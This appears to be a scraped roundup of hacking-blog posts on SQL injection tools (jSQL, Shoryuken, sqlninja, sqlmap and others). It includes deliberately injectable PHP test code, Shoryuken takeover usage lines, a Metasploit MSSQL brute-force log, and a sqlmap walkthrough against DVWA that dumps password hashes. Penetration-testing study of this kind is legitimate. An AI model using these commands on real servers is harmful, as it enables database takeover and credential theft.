Update jSQL Injection v0.3 - a java tool for automatic database injection.

jSQL Injection is a lightweight application used to find database information from a distant server.
jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris).

Version 0.3 features:

• GET, POST, header, cookie methods
• Normal, error based, blind, time based algorithms
• Automatic best algorithm selection
• Thread control (start/pause/resume/stop)
• Expose URL calls
• Simple evasion
• Data retrieving progression bar
• Proxy setting
• Distant file reading
• Webshell deposit
• Terminal for webshell commands
• Configuration backup
• Updates checking
• Supports MySQL

Next work:
+ distant table writing [sqli]
+ distant file writing [sqli]
+ reverse tcp shell deposit [sqli]
+ right elevation [sqli]
+ speed increase (non encoding pass): 50% faster [sqli]
+ control all running tasks in a tab [gui]
# speed test comparison with other injection tools [dev]
# automatic code testing (JUnit) [dev]
# wiki pages [site]

Installation

First, install java. Then download the latest jSQL executable and double click on the .jar file to open the main window (or you may type in a terminal: java -jar jsql-injection-v0.2.jar).

Forum

You can request features and discuss about algorithm, programming and functionality in the discussion group.

Injection and local test

Running injection requires from you the URL for a local or distant server, and the name of parameter to inject.
For a local test, you can save the following PHP code as 'simulate_get.php' and move it to the root folder into your web server (e.g /www), then use http://127.0.0.1/simulate_get.php?lib= in jSQL, and finally click Connect to read the local database safely:

<?php
    mysql_connect("localhost", "root", "");
    mysql_select_db("my_own_database");

    $result = mysql_query("SELECT * FROM my_own_table where my_own_field = " . $_GET['lib']) # time based
        or die( mysql_error() ); # error based

    if( mysql_num_rows($result) !== 0 ) echo " something "; # blind

    while( $row = mysql_fetch_array($result, MYSQL_NUM) )
        echo join(',',$row); # normal
?>

Coding

Source code can be accessed at the Google Git repository.
Tools used during development: w7 jre7 eclipse easyphp notepad++ egit virtualbox.

Screenshot of various operating systems: Linux, Mac OS X

Disclaimer
Attacking web-server is illegal without prior mutual consent. The end user is responsible and obeys all applicable laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Download latest version-
jsql-injection-v0.3.jar
Download other versions from here

Source-
https://code.google.com/p/jsql-injection/

Shoryuken v1.0 - very simple tool to takeover systems vulnerable to SQL Injections

SHORYUKEN 

Aimed at easy and fast hacking, shoryuken is a linux bash tool designed to get full control of poorly configurated web applications with backend DBMS in the same machine. In its current version, it uses SQL injection techniques to own MYSQL and MSSQL hosts when they run as OS user ROOT with application user having file privileges (Linux MySQL) or as DB sysadmin user with DB running as OS user SYSTEM (Windows MSSQL). It is done using the same unique HTTP request, the shoryuken (that means "rising dragon punch" in japanese).

Takeover is pretty straightforward with a single request issued to open a "custom shell" on Windows using xp_cmdshell output redirected to a file at default web server root (c:\inetpub\wwwroot) and on Linux using a PHP one line web shell with sudo also at default web server root (/var/www).

The custom shell is provided using default HTTP port 80 (it will be always there) without need to run or download anything and/or relying on firewall's policy.

Shoryuken needs curl installed (Debian-like systems: apt-get install curl).

Shoryuken only exploits SQL injection, you need to first find this kind of vulnerability on target using another tool or method.

Download - 

shoryuken 1.0

Usage:

./shoryuken [OPTION] {TARGET | INPUT_FILE} {OUTPUT_FILE}

=> Rearrange target URL if needed to put vulnerable parameter always at the end.

Options:

-h help

-i interactive mode

-p direct punch

-t test mode

-l test from list

Examples:

./shoryuken -i

./shoryuken -p "192.168.0.2/test.asp?id=1"

./shoryuken -p "vuln-site.net/home/news.php?info=text&vuln_param=11230"

./shoryuken -t "www.example.com/page.php?name=john"

./shoryuken -l mytargets.txt results.txt"

Advantages:

- Very simple to use;

- Very small (just 8k) e portable;

- Can be easily used in tiny linux systems like mobile ones;

- Pwns MySQL and MSSQL systems at once;

- Doesn't need to download/upload anything to target;

- Doesn't need an extra open port on machine or firewall;

- Can be easily used when pivoting over linux machines;

- Minimum footprinting in Test Mode (1 request);

- Auto cleaning (except for logs);

- Impressive hacking to people that lacks hacking/security knowledge.

IMPORTANT: do not use this tool on servers where you don't have permission to do that.

Source-
http://code.google.com/p/shoryuken/

PySQLi - Python SQL injection framework

PySQLi is a python framework designed to exploit complex SQL injection vulnerabilities. It provides dedicated bricks that can be used to build advanced exploits or easily extended/improved to fit the case.

Why another SQLi framework ?
Simple answer: because there are other ways than HTTP requests to exploit SQLi vulnerabilities ! Most of the available tools only rely on HTTP GET/POST methods, and sometimes provide other methods.

PySQLi is thought to be easily modified and extended through derivated classes and to be able to inject into various ways such as command line, custom network protocols and even in anti-CSRF HTTP forms.

PySQLi is still in an early stage of development, whereas it has been developed since more than three years. Many features lack but the actual version but this will be improved in the next months/years.

Download PySQLi

Source-
https://github.com/sysdream/pysqli

Screenshot -

UPDATE sqlninja-0.2.999-alpha1 - a SQL Server injection & takeover tool

Sqlninja is an exploitation tool to be used against web apps based on MS SQL Server that are vulnerable to SQL Injection attacks, in order to get a shell or extract data also in very hostile conditions. For more information please check http://sqlninja.sf.net
Features
The full documentation can be found in the tarball and also here, but here's a list of what the Ninja does:

• Fingerprint of the remote SQL Server (version, user performing the queries, user privileges, xp_cmdshell availability, DB authentication mode)
• Bruteforce of 'sa' password (in 2 flavors: dictionary-based and incremental)
• Privilege escalation to sysadmin group if 'sa' password has been found
• Creation of a custom xp_cmdshell if the original one has been removed
• Upload of netcat (or any other executable) using only normal HTTP requests (no FTP/TFTP needed)
• TCP/UDP portscan from the target SQL Server to the attacking machine, in order to find a port that is allowed by the firewall of the target network and use it for a reverse shell
• Direct and reverse bindshell, both TCP and UDP
• ICMP-tunneled shell, when no TCP/UDP ports are available for a direct/reverse shell but the DB can ping your box
• DNS-tunneled pseudo-shell, when no TCP/UDP ports are available for a direct/reverse shell, but the DB server can resolve external hostnames (check the documentation for details about how this works) 
• Evasion techniques to confuse a few IDS/IPS/WAF
• Integration with Metasploit3, to obtain a graphical access to the remote DB server through a VNC server injection
• Integration with churrasco.exe, to escalate privileges to SYSTEM on w2k3 via token kidnapping
• Support for CVE-2010-0232, to escalate the privileges of sqlservr.exe to SYSTEM

Platforms supported

Sqlninja is written in Perl and should run on any UNIX based platform with a Perl interpreter, as long as all needed modules have been installed. So far it has been successfully tested on:
Linux
FreeBSD
Mac OS X
Sqlninja does not run on Windows 

Download sqlninja-0.2.999-alpha1.tgz (613.3 kB)

Download other versions from here

The following versions are available:
0.2.999-alpha1

The first alpha of the new release, with all the newest cool stuff! Data extraction via WAITFOR and DNS tunnel, plus vbscript-based upload! Download it and find some bugs :)
0.2.6-r1

The stable version. It lacks the data extraction module, but it has been tested a lot more extensively
SVN snapshot

This is the hemorrhaging edge version! It contains a very experimental data-extraction module, which works using WAITFOR-based injection and, if you are in a hurry and control a domain name, through a much faster DNS tunnel! It is a work-in-progress, not 100% documented, and likely to have several bugs, so not for the faint hearted. Come on, give it a try, show chicks how brave you are, and report some bugs!

To download the latest snapshot, use the following command:

$ svn co svn://svn.code.sf.net/p/sqlninja/code/ sqlninja-devel

If your AV complains, it is because the Churrasco executable in the tarball is recognized as a virus. So nothing to worry about.

Prerequisites
In order to use sqlninja, the following Perl modules need to be present:
NetPacket
Net-Pcap
Net-DNS
Net-RawIP
IO-Socket-SSL

You will also need the Metasploit Framework 3 on your box to use the metasploit attack mode, and also a VNC client if you use the VNC payload.

Source-

http://sqlninja.sourceforge.net/index.html

Documentation 

Demo 

Faq

SQLSentinel v0.3 - OpenSource tool for sql injection security testing

SQLSentinel is an opensource tool that automates the process of finding the sql injection on a website. SQLSentinel includes a spider web and sql errors finder. You give in input a site and SQLSentinel crawls and try to exploit parameters validation error for you. When job is finished, it can generate a pdf report which contains the url vuln found and the url crawled.

Please remember that SQLSentinel is not an exploiting tool. It can only finds url Vulnerabilities

SQLSentinel github:
https://github.com/karonte691/sqlsentinel

SQLSentinel Web Site

Download SQLSentinel_v_0.3.zip (2.1 MB)
Download other version

Source-
http://sourceforge.net/projects/sqlsentinel/

SQLSentinel v0.2 - OpenSource tool for sql injection security testing

SQLSentinel is an opensource tool that automates the process of finding the sql injection on a website. SQLSentinel includes a spider web and sql errors finder. You give in input a site and SQLSentinel crawls and try to exploit parameters validation error for you. When job is finished, it can generate a pdf report which contains the url vuln found and the url crawled. 

Please remember that SQLSentinel is not an exploiting tool. It can only finds url Vulnerabilities

Download SQLSentinel_v_0.2.zip (2.1 MB) update on 26/12/12
Download other versions

Source-
http://sourceforge.net/projects/sqlsentinel/

Snapshot-

MSSQL Brute forcing with Resource Scripts from carnal0wnage

MSSQL Brute forcing with Resource Scripts

How can we brute force MSSQL servers that listen on several different ports without having to manually change the RPORT?

*MSF Pro/Express handle this for you using the database.

Possible Solution:

Use a resource script to populate the values for us.

This will work but we have to get the data in there.

1. Set up the database for metasploit

2. Get a list of servers

OSQL -L

Servers:
    SEVERNAME1\SQL2000
    SEVERNAME2\SQL2005

OSQL will give you a list of hostnames, we need to turn these hostnames into IP addresses/ranges for mssql_ping.

You can use post/windows/recon/resolve_hostname to a list of hostnames and turn these into IP addresses.


msf  post(resolve_hostname) > run

[*] www.google.com resolves to 173.194.73.106
[*] www.example.com resolves to 192.0.43.10
[-] Failed to resolve test.local
[*] DC1 resolves to 172.16.10.10
[*] SEVERNAME1 resolves to 192.168.237.197
[*] SEVERNAME2 resolves to 192.168.237.211
[*] Post module execution completed

with a list of IP addresses...do mssql_ping

msf  auxiliary(mssql_ping) > run
[*] SQL Server information for 192.168.237.197:
[+]    InstanceName    = MSSQLSERVER
[+]    IsClustered     = No
[+]    tcp             = 1433
[+]    np              = \\servername1\pipe\sql\query
[+]    Version         = 8.00.194
[+]    ServerName      = SEVERNAME1
[*] SQL Server information for 192.168.237.211:
[+]    InstanceName    = INSTANCE1
[+]    IsClustered     = Yes
[+]    tcp             = 2261
[+]    np              = \\servername2\pipe\MSSQL$INSTANCE1\sql\query
[+]    Version         = 10.50.1600.1
[+]    ServerName      = SEVERNAME2


Now we can pull tcp ports out using the db query use the resource script to set the RHOST and RPORT for you per entry. weeeeeee

the query:

begin
framework.db.services.each do |service|
if ( service.name =~ /mssql/i and service.state == 'open' and service.proto == 'tcp')
hosts << {'ip' => service.host.address, 'port' => service.port}
end
end

We can use that query to populate stuff on the fly for us.

example:

[*] Processing mssql_brute.rb for ERB directives.
[*]resource (mssql_brute.rb)> Ruby Code (932 bytes)
USERPASS_FILE => /opt/framework/mssql2.txt
RHOSTS => 192.168.237.197
RPORT => 1433
BRUTEFORCE_SPEED => 2
BLANK_PASSWORDS => false
USER_AS_PASS => false

[*]192.168.237.197:1433 - MSSQL - Starting authentication scanner.
[*]192.168.237.197:1433 MSSQL - [1/6] - Trying username:'sa' with password:''
[-]192.168.237.197:1433 MSSQL - [1/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [2/6] - Trying username:'sa' with password:'sa'
[-]192.168.237.197:1433 MSSQL - [2/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [3/6] - Trying username:'sa' with password:'password'
[-]192.168.237.197:1433 MSSQL - [3/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [4/6] - Trying username:'sa' with password:'sql'
[-]192.168.237.197:1433 MSSQL - [4/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [5/6] - Trying username:'sa' with password:'database'
[-]192.168.237.197:1433 MSSQL - [5/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [6/6] - Trying username:'sa' with password:'mssql'
[-]192.168.237.197:1433 MSSQL - [6/6] - failed to login as 'sa'

RHOSTS => 192.168.237.211
RPORT => 2261
BRUTEFORCE_SPEED => 2
BLANK_PASSWORDS => false
USER_AS_PASS => false

[*]192.168.237.211:2261 - MSSQL - Starting authentication scanner.
[*]192.168.237.211:2261 MSSQL - [1/6] - Trying username:'sa' with password:''
[-]192.168.237.211:2261 MSSQL - [1/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [2/6] - Trying username:'sa' with password:'sa'
[-]192.168.237.211:2261 MSSQL - [2/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [3/6] - Trying username:'sa' with password:'password'
[-]192.168.237.211:2261 MSSQL - [3/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [4/6] - Trying username:'sa' with password:'sql'
[-]192.168.237.211:2261 MSSQL - [4/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [5/6] - Trying username:'sa' with password:'database'
[+]192.168.237.211:2261 - MSSQL - successful login 'sa' : 'database'
[*]192.168.237.211:2261 MSSQL - [6/6] - Trying username:'sa' with password:'mssql'
[-]192.168.237.211:2261 MSSQL - [6/6] - failed to login as 'sa'
[*]Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

code is available here:
https://github.com/carnal0wnage/Metasploit-Code/blob/master/scripts/resource/mssql_brute.rb

lots of other resource scripts are in the scripts/resources directory in your msf install.
https://github.com/rapid7/metasploit-framework/tree/master/scripts/resource

Source-

http://carnal0wnage.attackresearch.com/2013/01/mssql-brute-forcing-with-resource.html

Best SQL Injection Tools

Havij SQL Injection

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

Download

Pangolin – Automated SQL Injection Test Tool

Pangolin is a penetration testing, SQL Injection test tool on database security. It finds SQL Injection vulnerabitlities.Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. 

Download

The Mole

The Mole is an automatic SQL Injection exploitation tool. Only by providing a vulnerable URL and a valid string on the site it can detect the injection and exploit it, either by using the union technique or a boolean query based technique.

Download

SQLNinja

Sqlninja’s goal is to exploit SQL injection vulnerabilities on web applications that use Microsoft SQL Server as back end. There are a lot of other SQL injection tools out there but sqlninja, instead of extracting the data, focuses on getting an interactive shell on the remote DB server and using it as a foothold in the target network.

Download

Safe3SI

Safe3SI is one of the most powerful and easy usage penetration tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Download

BSQL Hacker

BSQL (Blind SQL) Hacker is an automated SQL Injection Framework / Tool designed to exploit SQL injection vulnerabilities virtually in any database.

Download

FatCat Automatic SQL Injection	http://code.google.com/p/fatcat-sql-injector/
SQL Map	http://sqlmap.sourceforge.net/
SQL Pozion	http://www.4shared.com/rar/kUtKKQxy/sql_poizon_v11_-_the_exploit_s.html?
Sqlsus	http://sqlsus.sourceforge.net/download.html
Dark Jumper	http://mac.softpedia.com/get/Security/Darkjumper.shtml

source : http://www.hackingarticles.in

Owning the Database with SQLMap

SQLMap is a tool that is being used by penetration testers when they want to identify and exploit SQL injection vulnerabilities in web application engagements.SQLmap is very effective and provides many capabilities to the pen testers by helping them to execute queries automatically in the database in order to enumerate and to extract data from it.In this article we will see how we can use the sqlmap in order to exploit the SQL injection vulnerability on the DVWA (Damn Vulnerable Web Application).

In order for the sqlmap to do the job correctly we need to specify some parameters.First of all we need to provide the exact URL that we want to test.The parameter in the sqlmap that must be used is the -u.So we have to copy from the web application the URL that we are going to test and to paste it in the sqlmap.In this example the URL that we have to take is the following:

http://172.16.212.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

Then we need to specify the cookie.We use this option in cases where the web application requires authentication like the DVWA.So we will take the cookie that the application issued to us and we will put it on the sqlmap as well.We can capture the cookie by using any web application proxy like Burp.We will also put the –dbs parameter which will discover the databases that are running:

Starting the SQL Injection tests

Now lets see what was the result of these tests:

Enumerating the databases

So the sqlmap discovered that the database that is running from behind the application is MySQL,the operating system,the web application technology,the version of the MySQL and of course the number and the database names that exists.So with one command we already obtained a lot of information.The next command that we should use is to try to fingerprint the database in order to know the exact version.The parameter -f in sqlmap will give us the following result:

Command:

./sqlmap.py -u “http://172.16.212.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=3863bf835d223c43ce113c2d6da4521e; security=low” -f

Fingerprinting the database

Knowing the exact version of the database will allow us to search for any common vulnerabilities that are might affect it.The version of the database can be retrieved also and from the banner with the parameter -b.

Retrieving the database banner

So we will give the sqlmap the necessary parameters in order to discover the following:

• The current user
• The hostname
• If the current user is dba
• The current database

Command:

./sqlmap.py -u “http://172.16.212.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=46c8d37dccf4de6bf8977516f4dc66e0; security=low” –current-user –is-dba –current-db –hostname

Obtaining the current user,current db,hostname and if the current user is dba

As we can see from the image above we succesfully obtained the information that we have asked.Now we need to find the users and their password hashes as well as and their privileges and roles that they have on the database.This is very important as we can use this kind of information for accessing the database directly in case that we crack the hashes.SQLMap provides this functionality as well but in our case SQLMap discovered that for the accounts root,guest and debian-sys-maint no password has been set and the root account has administrative privileges.

Command:

./sqlmap.py -u “http://172.16.212.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=46c8d37dccf4de6bf8977516f4dc66e0; security=low” –users –passwords –privileges –roles

Discover database users and hashes

Discover Privileges and Roles

At this point we can say that the database is ours as we have all the database accounts in our disposal and the knowledge that these accounts are running with DBA privileges.However we would like also to own and the application so we will focus on that.In order to achieve this we need to extract data from the dvwa database.The sqlmap with the –tables parameter can enumerate the tables of all the databases that exist.

./sqlmap.py -u “http://172.16.212.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” 
–cookie=”PHPSESSID=46c8d37dccf4de6bf8977516f4dc66e0; security=low” –tables

Database tables

The dvwa database as we can see from the above output has only two tables:the guestbook and the users.We will try to enumerate the columns of these tables with the parameter –columns in the sqlmap.

Command:

./sqlmap.py -u “http://172.16.212.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” 
–cookie=”PHPSESSID=46c8d37dccf4de6bf8977516f4dc66e0; security=low” –columns

Obtaining the columns

The interesting table is the users because as you can see from the screenshot it has a column with the name password which may contain password hashes or even better passwords in clear text format.So lets see what kind of data the columns of these two tables are containing.

Command:

./sqlmap.py -u “http://172.16.212.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=46c8d37dccf4de6bf8977516f4dc66e0; security=low” –dump

Guestbook – Tables Entries

Cracking hashes in table users

During the retrieval of the table entries sqlmap discovered password hashes which have been successfully cracked by using a dictionary attack.Now we have and the usernames along with the passwords of the DVWA users except of the database accounts which means that the database and the application has been compromised completely.

Conclusion

In this tutorial we saw how effective can be the sqlmap tool when it is being used for detection and exploitation of SQL injection vulnerabilities.Of course the proper way to do it once SQL injection has been detected is manually.However in many penetration tests due to time constraints the use of sqlmap is needed.

Specifically in this case sqlmap managed to enumerate the database successfully and to extract data from the database tables very fast.Of course it has many more capabilities like that it can check for the existence of WAF (Web Application Firewall),IDS and IPS as well as that it can executes operating systems commands.For all these reasons this tool must be in every penetration tester toolkit.  

source: http://pentestlab.wordpress.com/